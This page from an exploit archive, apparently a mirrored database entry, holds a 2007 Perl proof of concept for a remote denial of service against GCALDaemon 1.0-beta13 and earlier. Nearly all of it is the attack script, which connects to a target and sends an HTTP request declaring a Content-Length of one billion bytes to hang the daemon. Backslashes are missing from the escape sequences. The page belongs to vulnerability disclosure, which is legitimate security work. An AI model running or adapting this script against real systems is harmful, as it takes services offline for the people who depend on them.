GCALDaemon <= 1.0-beta13 Remote Denial of Service Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : GCALDaemon <= 1.0-beta13 Remote Denial of Service Exploit
# Published : 2007-10-16
# Author : ikki
# Previous Title : eXtremail <= 2.1.1 memmove() Remote Denial of Service Exploit
# Next Title : eXtremail <= 2.1.1 Remote Heap Overflow PoC

#!/usr/bin/perl
# /*
#  * GCALDaemon <= 1.0-beta13 Remote DoS 
#  * 
#  * Original Advisory: 
#  * http://www.securityfocus.com/bid/25704/info
#  * http://www.ikkisoft.com/stuff/SN-2007-01.txt
#  *
#  *  Luca "ikki" Carettoni
#  *  http://www.ikkisoft.com
#  */

use strict;
use warnings;
use IO::Socket;

my $host = shift || die "Usage: $0 host [port]n";
my $port = shift || 9090;
my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, 
PeerProto => 'tcp')
or die "error: $!n";
print "GCALDaemom DoS Expoitn";
print "Just 4 seconds...n";
sleep 4;
$sock->send("GET / HTTP/1.1rn");
$sock->send("Content-Length: 1000000000rnrn");
$sock->close;
print "nnNo more sync!n";

# www.Syue.com [2007-10-16]